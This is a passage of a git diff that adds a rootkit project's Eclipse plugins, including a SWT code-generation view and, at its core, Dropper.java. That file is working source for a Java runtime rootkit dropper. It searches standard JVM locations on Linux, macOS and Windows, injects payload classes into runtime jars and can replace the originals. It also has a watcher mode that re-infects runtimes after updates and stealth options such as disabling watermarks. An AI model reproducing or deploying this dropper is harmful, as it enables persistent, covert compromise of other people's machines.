+ jrefProject = (JReFrameworkerProject) activeProjectCombo.getData(activeProjectCombo.getText());
+ }
+
+ activeProjectCombo.addSelectionListener(new SelectionAdapter() {
+ @Override
+ public void widgetSelected(SelectionEvent e) {
+ jrefProject = (JReFrameworkerProject) activeProjectCombo.getData(activeProjectCombo.getText());
+ }
+ });
+
+ Group codeGenerationGroup = new Group(parent, SWT.NONE);
+ codeGenerationGroup.setText("Code Generation");
+ codeGenerationGroup.setLayout(new GridLayout(1, false));
+ codeGenerationGroup.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1));
+
+ ScrolledComposite codeGenerationScrolledComposite = new ScrolledComposite(codeGenerationGroup, SWT.BORDER | SWT.V_SCROLL);
+ codeGenerationScrolledComposite.setExpandVertical(true);
+ codeGenerationScrolledComposite.setExpandHorizontal(true);
+ codeGenerationScrolledComposite.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1));
+
+ Composite codeGenerationScrolledContentComposite = new Composite(codeGenerationScrolledComposite, SWT.NONE);
+ codeGenerationScrolledContentComposite.setLayout(new GridLayout(1, false));
+
+ List sortedCategories = new ArrayList(CodeGenerators.getRegisteredCodeGeneratorCategories());
+ Collections.sort(sortedCategories);
+ for(String category : sortedCategories){
+ Group codeGenerationCategoryGroup = new Group(codeGenerationScrolledContentComposite, SWT.NONE);
+ codeGenerationCategoryGroup.setText(category);
+ codeGenerationCategoryGroup.setLayout(new GridLayout(2, false));
+ codeGenerationCategoryGroup.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1));
+
+ List sortedCodeGenerators = new ArrayList(CodeGenerators.getCodeGeneratorsForCategory(category));
+ Collections.sort(sortedCodeGenerators, new Comparator(){
+ @Override
+ public int compare(CodeGenerator cg1, CodeGenerator cg2) {
+ return cg1.getName().compareTo(cg2.getName());
+ }
+ });
+ for(CodeGenerator codeGenerator : sortedCodeGenerators){
+ Button codeGenerationButton = new Button(codeGenerationCategoryGroup, SWT.NONE);
+ codeGenerationButton.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1));
+ codeGenerationButton.setText(codeGenerator.getName());
+ codeGenerationButton.setEnabled(false);
+ codeGeneratorButtons.put(codeGenerator, codeGenerationButton);
+
+ codeGenerationButton.addSelectionListener(new SelectionAdapter() {
+ @Override
+ public void widgetSelected(SelectionEvent e) {
+ Set sourceFiles = codeGenerator.generateCode(jrefProject, Common.toQ(selection));
+ for(File sourceFile : sourceFiles){
+ WorkspaceUtils.openFileInEclipseEditor(sourceFile);
+ }
+ }
+ });
+
+ StyledText codeGenerationDescriptionText = new StyledText(codeGenerationCategoryGroup, SWT.BORDER);
+ codeGenerationDescriptionText.setEditable(false);
+ codeGenerationDescriptionText.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1));
+ codeGenerationDescriptionText.setText(codeGenerator.getDescription());
+ }
+ }
+
+ codeGenerationScrolledComposite.setContent(codeGenerationScrolledContentComposite);
+ codeGenerationScrolledComposite.setMinSize(codeGenerationScrolledContentComposite.computeSize(SWT.DEFAULT, SWT.DEFAULT));
+
+ // setup the Atlas selection event listener
+ IAtlasSelectionListener selectionListener = new IAtlasSelectionListener(){
+ @Override
+ public void selectionChanged(IAtlasSelectionEvent atlasSelection) {
+ try {
+ selection = atlasSelection.getSelection().eval();
+ } catch (Exception e){
+ selection = Common.empty().eval();
+ }
+
+ for(CodeGenerator codeGenerator : codeGenerators){
+ Button codeGenerationButton = codeGeneratorButtons.get(codeGenerator);
+ if(codeGenerationButton != null){
+ if(jrefProject != null){
+ codeGenerationButton.setEnabled(codeGenerator.isApplicableTo(Common.toQ(selection)));
+ } else {
+ codeGenerationButton.setEnabled(false);
+ }
+ }
+ }
+ }
+ };
+
+ // add the selection listener
+ SelectionUtil.addSelectionListener(selectionListener);
+ }
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/swing2swt.jar b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/swing2swt.jar
new file mode 100644
index 0000000..a09053c
Binary files /dev/null and b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/swing2swt.jar differ
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.classpath b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.classpath
new file mode 100644
index 0000000..54bcb6b
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.classpath
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.gitignore b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.gitignore
new file mode 100644
index 0000000..ae3c172
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.gitignore
@@ -0,0 +1 @@
+/bin/
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.project
new file mode 100644
index 0000000..fe1aa2a
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.project
@@ -0,0 +1,17 @@
+
+
+ com.jreframeworker.dropper.core
+
+
+
+
+
+ org.eclipse.jdt.core.javabuilder
+
+
+
+
+
+ org.eclipse.jdt.core.javanature
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.settings/org.eclipse.jdt.core.prefs b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.settings/org.eclipse.jdt.core.prefs
new file mode 100644
index 0000000..3a21537
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/.settings/org.eclipse.jdt.core.prefs
@@ -0,0 +1,11 @@
+eclipse.preferences.version=1
+org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
+org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8
+org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve
+org.eclipse.jdt.core.compiler.compliance=1.8
+org.eclipse.jdt.core.compiler.debug.lineNumber=generate
+org.eclipse.jdt.core.compiler.debug.localVariable=generate
+org.eclipse.jdt.core.compiler.debug.sourceFile=generate
+org.eclipse.jdt.core.compiler.problem.assertIdentifier=error
+org.eclipse.jdt.core.compiler.problem.enumIdentifier=error
+org.eclipse.jdt.core.compiler.source=1.8
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/build-dropper.ant.xml b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/build-dropper.ant.xml
new file mode 100644
index 0000000..d8674c3
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/build-dropper.ant.xml
@@ -0,0 +1,19 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/src/com/jreframeworker/dropper/Dropper.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/src/com/jreframeworker/dropper/Dropper.java
new file mode 100644
index 0000000..daf901e
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper.core/src/com/jreframeworker/dropper/Dropper.java
@@ -0,0 +1,724 @@
+package com.jreframeworker.dropper;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.RandomAccessFile;
+import java.io.StringReader;
+import java.io.StringWriter;
+import java.nio.channels.FileChannel;
+import java.nio.channels.FileLock;
+import java.nio.channels.OverlappingFileLockException;
+import java.nio.file.Files;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Scanner;
+import java.util.Set;
+import java.util.jar.JarException;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+import javax.xml.parsers.ParserConfigurationException;
+import javax.xml.transform.OutputKeys;
+import javax.xml.transform.Transformer;
+import javax.xml.transform.TransformerException;
+import javax.xml.transform.TransformerFactory;
+import javax.xml.transform.dom.DOMSource;
+import javax.xml.transform.stream.StreamResult;
+
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+import org.w3c.dom.NamedNodeMap;
+import org.w3c.dom.Node;
+import org.w3c.dom.NodeList;
+import org.xml.sax.InputSource;
+import org.xml.sax.SAXException;
+
+import com.jreframeworker.engine.Engine;
+import com.jreframeworker.engine.utils.JarModifier;
+
+public class Dropper {
+
+ // jar contents
+ public static final String CONFIG_FILE = "config.xml";
+ public static final String PAYLOAD_DIRECTORY = "payloads";
+ public static final String WATERMARK = "jref";
+
+ // configuration keys
+ public static final String MERGE_RENAME_PREFIX = "merge-rename-prefix";
+
+ public static final String[] JVM_LOCATIONS = {
+ // Linux
+ "/usr/java/",
+ "/usr/lib/jvm/",
+ // OSX
+ "/Library/Java/",
+ "/System/Library/Frameworks/JavaVM.framework/",
+ "/usr/libexec/java_home/",
+ // Windows
+ "C:\\Program Files\\Java\\",
+ "C:\\Program Files (x86)\\Java\\",
+ "C:\\Windows\\System32\\Java\\",
+ "C:\\Windows\\SysWOW64\\Java\\"
+ };
+
+ private static final String VERSION_LONG_ARGUMENT = "--version";
+ private static final String VERSION_SHORT_ARGUMENT = "-v";
+ private static final String VERSION_DESCRIPTION = "1.3.1";
+
+ private static final String ENFORCE_SINGLE_INSTANCE_LONG_ARGUMENT = "--single-instance";
+ private static final String ENFORCE_SINGLE_INSTANCE_SHORT_ARGUMENT = "-si";
+ private static final String ENFORCE_SINGLE_INSTANCE_DESCRIPTION = " This flag enforces (using a file lock) that only a single instance of the dropper may execute at one time.";
+ private static boolean singleInstance = false;
+
+ private static final String SAFETY_OFF_LONG_ARGUMENT = "--safety-off";
+ private static final String SAFETY_OFF_SHORT_ARGUMENT = "-so";
+ private static final String SAFETY_OFF_DESCRIPTION = " This flag must be specified to execute the modifications specified by embedded payloads (enabling the flag disables the built-in safety).";
+ private static boolean safetyOff = false;
+
+ private static final String OUTPUT_DIRECTORY_LONG_ARGUMENT = "--output-directory";
+ private static final String OUTPUT_DIRECTORY_SHORT_ARGUMENT = "-o";
+ private static final String OUTPUT_DIRECTORY_DESCRIPTION = " Specifies the output directory to save modified runtimes, if not specified output files will be written as temporary files.";
+ private static File outputDirectory = null;
+
+ private static final String REPLACE_TARGET_LONG_ARGUMENT = "--replace-target";
+ private static final String REPLACE_TARGET_SHORT_ARGUMENT = "-r";
+ private static final String REPLACE_TARGET_DESCRIPTION = " Attempt to replace target with modified target.";
+ private static boolean replaceTarget = false;
+
+ private static final String PRINT_TARGETS_LONG_ARGUMENT = "--print-targets";
+ private static final String PRINT_TARGETS_SHORT_ARGUMENT = "-pt";
+ private static final String PRINT_TARGETS_DESCRIPTION = " Prints the targets of the dropper and exits.";
+ private static boolean printTargets = false;
+
+ private static final String PRINT_PAYLOADS_LONG_ARGUMENT = "--print-payloads";
+ private static final String PRINT_PAYLOADS_SHORT_ARGUMENT = "-pp";
+ private static final String PRINT_PAYLOADS_DESCRIPTION = " Prints the payloads of the dropper and exits.";
+ private static boolean printPayloads = false;
+
+ private static final String SEARCH_DIRECTORIES_LONG_ARGUMENT = "--search-directories";
+ private static final String SEARCH_DIRECTORIES_SHORT_ARGUMENT = "-s";
+ private static final String SEARCH_DIRECTORIES_DESCRIPTION = " Specifies a comma separated list of directory paths to search for targets, if not specified a default set of search directories will be used.";
+
+ private static final String PRINT_WATERMARKED_LONG_ARGUMENT = "--print-watermarked";
+ private static final String PRINT_WATERMARKED_SHORT_ARGUMENT = "-pw";
+ private static final String PRINT_WATERMARKED_DESCRIPTION = " Prints watermarked targets found on search paths.";
+ private static boolean printWatermarked = false;
+
+ private static boolean watermark = true;
+ private static final String DISABLE_WATERMARK_LONG_ARGUMENT = "--disable-watermarking";
+ private static final String DISABLE_WATERMARK_SHORT_ARGUMENT = "-dw";
+ private static final String DISABLE_WATERMARK_DESCRIPTION = " Disables watermarking the modified target (can be used for additional stealth, but could also cause problems for watchers). Watermarks are used to prevent remodifying a target.";
+
+ private static boolean ignoreWatermarks = false;
+ private static final String IGNORE_WATERMARK_LONG_ARGUMENT = "--ignore-watermarks";
+ private static final String IGNORE_WATERMARK_SHORT_ARGUMENT = "-iw";
+ private static final String IGNORE_WATERMARK_DESCRIPTION = " Ignores watermarks and modifies targets regardless of whether or not they have been previously modified.";
+
+ private static final String WATCHER_SLEEP_TIME_LONG_ARGUMENT = "--watcher-sleep";
+ private static final String WATCHER_SLEEP_TIME_SHORT_ARGUMENT = "-ws";
+ private static final String WATCHER_SLEEP_TIME_DESCRIPTION = " The amount of time in milliseconds to sleep between watcher checks.";
+ private static long watcherSleepTime = (long) (1000 * 60); // 1 minute
+
+ private static boolean watcher = false;
+ private static final String WATCHER_LONG_ARGUMENT = "--watcher";
+ private static final String WATCHER_SHORT_ARGUMENT = "-w";
+ private static final String WATCHER_DESCRIPTION = " Enables a watcher process that waits to modify any discovered runtimes until the file hash of the runtime has changed (by default the process sleeps for 1 minute, unless the " + WATCHER_SLEEP_TIME_LONG_ARGUMENT + " argument is specified).";
+
+ private static final String DEBUG_LONG_ARGUMENT = "--debug";
+ private static final String DEBUG_SHORT_ARGUMENT = "-d";
+ private static final String DEBUG_DESCRIPTION = " Prints debug information.";
+ private static boolean debug = false;
+
+ private static final String HELP_LONG_ARGUMENT = "--help";
+ private static final String HELP_SHORT_ARGUMENT = "-h";
+ private static final String HELP_DESCRIPTION = "Usage: java -jar dropper.jar [options]\n"
+ + HELP_LONG_ARGUMENT + ", " + HELP_SHORT_ARGUMENT + " Prints this menu and exits.\n"
+ + SAFETY_OFF_LONG_ARGUMENT + ", " + SAFETY_OFF_SHORT_ARGUMENT + SAFETY_OFF_DESCRIPTION + "\n"
+ + SEARCH_DIRECTORIES_LONG_ARGUMENT + ", " + SEARCH_DIRECTORIES_SHORT_ARGUMENT + SEARCH_DIRECTORIES_DESCRIPTION + "\n"
+ + OUTPUT_DIRECTORY_LONG_ARGUMENT + ", " + OUTPUT_DIRECTORY_SHORT_ARGUMENT + OUTPUT_DIRECTORY_DESCRIPTION + "\n"
+ + REPLACE_TARGET_LONG_ARGUMENT + ", " + REPLACE_TARGET_SHORT_ARGUMENT + REPLACE_TARGET_DESCRIPTION + "\n"
+ + DISABLE_WATERMARK_LONG_ARGUMENT + ", " + DISABLE_WATERMARK_SHORT_ARGUMENT + DISABLE_WATERMARK_DESCRIPTION + "\n"
+ + IGNORE_WATERMARK_LONG_ARGUMENT + ", " + IGNORE_WATERMARK_SHORT_ARGUMENT + IGNORE_WATERMARK_DESCRIPTION + "\n"
+ + ENFORCE_SINGLE_INSTANCE_LONG_ARGUMENT + ", " + ENFORCE_SINGLE_INSTANCE_SHORT_ARGUMENT + ENFORCE_SINGLE_INSTANCE_DESCRIPTION + "\n"
+ + WATCHER_LONG_ARGUMENT + ", " + WATCHER_SHORT_ARGUMENT + WATCHER_DESCRIPTION + "\n"
+ + WATCHER_SLEEP_TIME_LONG_ARGUMENT + ", " + WATCHER_SLEEP_TIME_SHORT_ARGUMENT + WATCHER_SLEEP_TIME_DESCRIPTION + "\n"
+ + PRINT_WATERMARKED_LONG_ARGUMENT + ", " + PRINT_WATERMARKED_SHORT_ARGUMENT + PRINT_WATERMARKED_DESCRIPTION + "\n"
+ + PRINT_TARGETS_LONG_ARGUMENT + ", " + PRINT_TARGETS_SHORT_ARGUMENT + PRINT_TARGETS_DESCRIPTION + "\n"
+ + PRINT_PAYLOADS_LONG_ARGUMENT + ", " + PRINT_PAYLOADS_SHORT_ARGUMENT + PRINT_PAYLOADS_DESCRIPTION + "\n"
+ + DEBUG_LONG_ARGUMENT + ", " + DEBUG_SHORT_ARGUMENT + DEBUG_DESCRIPTION + "\n"
+ + VERSION_LONG_ARGUMENT + ", " + VERSION_SHORT_ARGUMENT + " Prints the version of the dropper and exists.";
+
+ public static void main(String[] args){
+
+ if(args.length == 0){
+ System.out.println(HELP_DESCRIPTION);
+ System.exit(0);
+ }
+
+ String[] searchPaths = null;
+ for(int i=0; i classFiles = new ArrayList(configuration.payloadClassNames);
+ byte[][] payloads = new byte[classFiles.size()][];
+ for(int i=0; i targetsToIgnore = new HashSet();
+ for(File target : getTargets(searchPaths, configuration)){
+
+ if(!ignoreWatermarks){
+ try {
+ if(new JarModifier(target).getJarEntrySet().contains(WATERMARK)){
+ if(debug){
+ System.out.println("Ignoring watermarked target: " + target.getAbsolutePath());
+ }
+ continue;
+ }
+ } catch (Exception e){
+ // couldn't read target entries
+ }
+ }
+
+ if(debug){
+ System.out.println("Discovered target: " + target.getAbsolutePath());
+ }
+ if(safetyOff){
+ if(watcher){
+ try {
+ targetsToIgnore.add(sha256(target));
+ } catch (Exception e) {
+ // skipping runtime
+ }
+ } else {
+ modifyTarget(configuration, payloads, target, watermark, replaceTarget);
+ }
+ }
+ }
+
+ if (safetyOff && watcher) {
+ boolean searching = true;
+ while (searching) {
+ try {
+ if(debug){
+ System.out.println("Sleeping: " + watcherSleepTime + "ms");
+ }
+
+ // sleep
+ Thread.sleep(watcherSleepTime);
+
+ // search for new targets
+ for (File target : getTargets(searchPaths, configuration)) {
+ try {
+ if(!ignoreWatermarks){
+ try {
+ if(new JarModifier(target).getJarEntrySet().contains(WATERMARK)){
+ continue;
+ }
+ } catch (Exception e){
+ // couldn't read target entries
+ }
+ }
+
+ if (!targetsToIgnore.contains(sha256(target))) {
+ if (debug) {
+ System.out.println("Discovered target: " + target.getAbsolutePath());
+ }
+
+ searching = false;
+ modifyTarget(configuration, payloads, target, watermark, replaceTarget);
+ }
+ } catch (Exception e) {
+ // skipping runtime
+ }
+ }
+ } catch (InterruptedException ie) {
+ // couldn't sleep, try again
+ }
+ }
+ }
+
+ if(debug) System.out.println("Finished.");
+ }
+
+ private static void modifyTarget(Configuration configuration, byte[][] payloads, File runtime, boolean watermark, boolean replaceTarget) {
+ try {
+ File outputRuntime = outputDirectory == null ? File.createTempFile(runtime.getName(), ".jar") : getOutputRuntimeFile(runtime, outputDirectory);
+ if(replaceTarget){
+ outputRuntime = runtime;
+ }
+ modifyTarget(runtime, configuration.configurations.get(MERGE_RENAME_PREFIX).toString(), outputRuntime, watermark, payloads);
+ System.out.println("\nOriginal Runtime: " + runtime.getAbsolutePath() + "\n" + "Modified Runtime: " + outputRuntime.getAbsolutePath());
+ } catch (Exception e) {
+ if(debug) System.err.println("Could not modify runtime: " + runtime.getAbsolutePath());
+ if(debug) e.printStackTrace();
+ }
+ }
+
+ private static File getOutputRuntimeFile(File runtime, File outputDirectory) {
+ File outputRuntime = new File(outputDirectory.getAbsolutePath() + File.separatorChar + runtime.getName());
+ int num = 2;
+ while(outputRuntime.exists()){
+ outputRuntime = new File(outputDirectory.getAbsolutePath() + File.separatorChar + runtime.getName().replace(".jar", "_") + num++ + ".jar");
+ }
+ return outputRuntime;
+ }
+
+ private static byte[] getBytes(InputStream is) throws IOException {
+ int len;
+ int size = 1024;
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
+ byte[] buffer = new byte[size];
+ while ((len = is.read(buffer, 0, size)) != -1) {
+ bos.write(buffer, 0, len);
+ }
+ return bos.toByteArray();
+ }
+
+ private static LinkedList getTargets(String[] searchPaths, Configuration configuration){
+ HashSet targetNames = new HashSet();
+ targetNames.addAll(configuration.runtimes);
+ targetNames.addAll(configuration.libraries);
+ LinkedList targets = new LinkedList();
+
+ // establish a set of directories to search for runtimes
+ LinkedList searchDirectories = new LinkedList();
+
+ if(searchPaths != null){
+ if(debug) System.out.println("Searching: " + Arrays.toString(searchPaths));
+ // look for specified jvm locations
+ for(String path : searchPaths){
+ File location = new File(path);
+ if(location.exists()){
+ searchDirectories.add(location);
+ }
+ }
+ } else {
+ // look for known jvm locations
+ if(debug) System.out.println("Searching: " + Arrays.toString(JVM_LOCATIONS));
+ for(String path : JVM_LOCATIONS){
+ File location = new File(path);
+ if(location.exists()){
+ searchDirectories.add(location);
+ }
+ }
+ }
+
+ // search each directory for runtimes
+ for(File searchDirectory : searchDirectories){
+ targets.addAll(search(searchDirectory, targetNames));
+ }
+
+ // Note: removed this functionality, as it is way to expensive...not very stealthy
+// // unknown location, expand search to entire file system
+// if(runtimes.isEmpty()){
+// for(File rootDirectory : File.listRoots()){
+// runtimes.addAll(search(rootDirectory, runtimeNames));
+// }
+// }
+
+ return targets;
+ }
+
+ private static LinkedList search(File directory, HashSet fileNames){
+ LinkedList results = new LinkedList();
+ search(directory, fileNames, results);
+ return results;
+ }
+
+ private static void search(File directory, HashSet fileNames, LinkedList results) {
+ File[] files = directory.listFiles();
+ if(files != null){
+ for(File file : files) {
+ if(file.isDirectory()) {
+ search(file, fileNames, results);
+ } else if(fileNames.contains(file.getName())) {
+ results.add(file);
+ }
+ }
+ }
+ }
+
+ // TODO: Consider accepting and writing to an output stream instead of a File so that we could generically write to a file, memory, stdout, etc.
+ // TODO: need to consider alternate class loaders
+ private static void modifyTarget(File originalRuntime, String mergeRenamePrefix, File outputRuntime, boolean watermark, byte[]... classFiles) throws JarException, IOException {
+ Engine engine = new Engine(originalRuntime, mergeRenamePrefix);
+ for(byte[] classFile : classFiles){
+ engine.process(classFile);
+ }
+ if(watermark){
+ engine.addFile(WATERMARK, WATERMARK.getBytes(), true);
+ }
+ engine.save(outputRuntime);
+ }
+
+ public static class Configuration {
+
+ public static final String CONFIGURATIONS = "configurations";
+ public static final String CONFIGURATION = "configuration";
+ public static final String TARGETS = "targets";
+ public static final String TARGET = "target";
+ public static final String RUNTIME = "runtime";
+ public static final String PAYLOAD_CLASSES = "payload-classes";
+ public static final String PAYLOAD_CLASS = "payload-class";
+ public static final String NAME = "name";
+
+ public Map configurations = new HashMap();
+ public Set payloadClassNames = new HashSet();
+ public Set runtimes = new HashSet();
+ public Set libraries = new HashSet();
+
+ @Override
+ public String toString() {
+ return "Configuration [configurations=" + configurations + ", payloadClasses=" + payloadClassNames
+ + ", runtimes=" + runtimes + ", libraries=" + libraries + "]";
+ }
+
+ public Configuration(){}
+
+ public Configuration(String xml) throws ParserConfigurationException, SAXException, IOException {
+ DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
+ DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();
+ InputSource inputStream = new InputSource(new StringReader(xml));
+ Document doc = dBuilder.parse(inputStream);
+ doc.getDocumentElement().normalize();
+ NodeList targets = doc.getElementsByTagName(TARGET);
+ for (int i = 0; i < targets.getLength(); i++) {
+ Element target = (Element) targets.item(i);
+ String name = target.getAttribute(NAME);
+ Boolean runtime = false;
+ if(target.hasAttribute(RUNTIME)){
+ runtime = Boolean.parseBoolean(target.getAttribute(RUNTIME));
+ }
+ if(runtime){
+ runtimes.add(name);
+ } else {
+ libraries.add(name);
+ }
+ }
+ NodeList classes = doc.getElementsByTagName(PAYLOAD_CLASS);
+ for (int i = 0; i < classes.getLength(); i++) {
+ Element clazz = (Element) classes.item(i);
+ String name = clazz.getAttribute(NAME);
+ this.payloadClassNames.add(name);
+ }
+ NodeList configurations = doc.getElementsByTagName(CONFIGURATION);
+ for (int i = 0; i < configurations.getLength(); i++) {
+ Element configuration = (Element) configurations.item(i);
+ NamedNodeMap attributes = configuration.getAttributes();
+ for (int j = 0; j < attributes.getLength(); j++){
+ Node attribute = attributes.item(i);
+ this.configurations.put(attribute.getNodeName(), attribute.getNodeValue());
+ }
+ }
+ }
+
+ public String getXML() throws ParserConfigurationException, TransformerException {
+ // create xml document
+ DocumentBuilderFactory docFactory = DocumentBuilderFactory.newInstance();
+ DocumentBuilder docBuilder = docFactory.newDocumentBuilder();
+
+ // add root element
+ Document doc = docBuilder.newDocument();
+ Element rootElement = doc.createElement("payload");
+ doc.appendChild(rootElement);
+
+ // record general modification configurations
+ Element configurationsElement = doc.createElement(CONFIGURATIONS);
+ for(Entry entry : configurations.entrySet()){
+ Element configurationElement = doc.createElement(CONFIGURATION);
+ configurationElement.setAttribute(entry.getKey(), entry.getValue());
+ configurationsElement.appendChild(configurationElement);
+ }
+ rootElement.appendChild(configurationsElement);
+
+ // record targets to modify
+ Element targetsElement = doc.createElement(TARGETS);
+
+ // add each runtime target to the configuration
+ for(String target : runtimes){
+ Element targetElement = doc.createElement(TARGET);
+ targetElement.setAttribute(NAME, target);
+ targetElement.setAttribute(RUNTIME, "true");
+ targetsElement.appendChild(targetElement);
+ }
+
+ // add each library target to the configuration
+ for(String target : libraries){
+ Element targetElement = doc.createElement(TARGET);
+ targetElement.setAttribute(NAME, target);
+ targetElement.setAttribute(RUNTIME, "false");
+ targetsElement.appendChild(targetElement);
+ }
+ rootElement.appendChild(targetsElement);
+
+ // add each payload class name to the configuration
+ Element classesElement = doc.createElement(PAYLOAD_CLASSES);
+ for(String clazz : payloadClassNames){
+ Element classElement = doc.createElement(PAYLOAD_CLASS);
+ classElement.setAttribute(NAME, clazz);
+ classesElement.appendChild(classElement);
+ }
+ rootElement.appendChild(classesElement);
+
+ // write xml to string result
+ TransformerFactory transformerFactory = TransformerFactory.newInstance();
+ Transformer transformer = transformerFactory.newTransformer();
+ transformer.setOutputProperty(OutputKeys.INDENT, "yes");
+ transformer.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "2");
+ DOMSource source = new DOMSource(doc);
+ StringWriter xml = new StringWriter();
+ StreamResult result = new StreamResult(xml);
+ transformer.transform(source, result);
+ return xml.toString();
+ }
+ }
+
+ private static String sha256(File file) throws IOException, NoSuchAlgorithmException {
+ MessageDigest digest = MessageDigest.getInstance("SHA-256");
+ byte[] contents = Files.readAllBytes(file.toPath());
+ byte[] hash = digest.digest(contents);
+ StringBuilder result = new StringBuilder();
+ for (int i = 0; i < hash.length; i++) {
+ result.append(Integer.toString((hash[i] & 0xFF) + 0x100, 16).substring(1));
+ }
+ return result.toString();
+ }
+
+ public static boolean isAnotherApplicationInstanceActive(){
+ ApplicationInstanceLock instanceLock = new ApplicationInstanceLock(WATERMARK);
+ return instanceLock.isAppActive();
+ }
+
+ // adapted from http://www.rgagnon.com/javadetails/java-0288.html
+ private static class ApplicationInstanceLock {
+
+ private String appName;
+ private File file;
+ private FileChannel channel;
+ private FileLock lock;
+
+ public ApplicationInstanceLock(String appName) {
+ this.appName = appName;
+ }
+
+ @SuppressWarnings("resource")
+ public boolean isAppActive() {
+ try {
+ file = new File(System.getProperty("user.home"), appName + ".tmp");
+ channel = new RandomAccessFile(file, "rw").getChannel();
+
+ try {
+ lock = channel.tryLock();
+ } catch (OverlappingFileLockException e) {
+ // already locked
+ closeLock();
+ return true;
+ }
+
+ if (lock == null) {
+ closeLock();
+ return true;
+ }
+
+ Runtime.getRuntime().addShutdownHook(new Thread() {
+ // destroy the lock when the JVM is closing
+ public void run() {
+ closeLock();
+ deleteFile();
+ }
+ });
+ return false;
+ } catch (Exception e) {
+ closeLock();
+ return true;
+ }
+ }
+
+ private void closeLock() {
+ try {
+ lock.release();
+ channel.close();
+ } catch (Exception e) {
+ }
+ }
+
+ private void deleteFile() {
+ try {
+ file.delete();
+ } catch (Exception e) {
+ }
+ }
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.classpath b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.classpath
new file mode 100644
index 0000000..eca7bdb
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.classpath
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.gitignore b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.gitignore
new file mode 100644
index 0000000..ae3c172
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.gitignore
@@ -0,0 +1 @@
+/bin/
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.project
new file mode 100644
index 0000000..c3ec8ed
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.project
@@ -0,0 +1,28 @@
+
+
+ com.jreframeworker.dropper
+
+
+
+
+
+ org.eclipse.jdt.core.javabuilder
+
+
+
+
+ org.eclipse.pde.ManifestBuilder
+
+
+
+
+ org.eclipse.pde.SchemaBuilder
+
+
+
+
+
+ org.eclipse.pde.PluginNature
+ org.eclipse.jdt.core.javanature
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.settings/org.eclipse.jdt.core.prefs b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.settings/org.eclipse.jdt.core.prefs
new file mode 100644
index 0000000..0c68a61
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/.settings/org.eclipse.jdt.core.prefs
@@ -0,0 +1,7 @@
+eclipse.preferences.version=1
+org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
+org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8
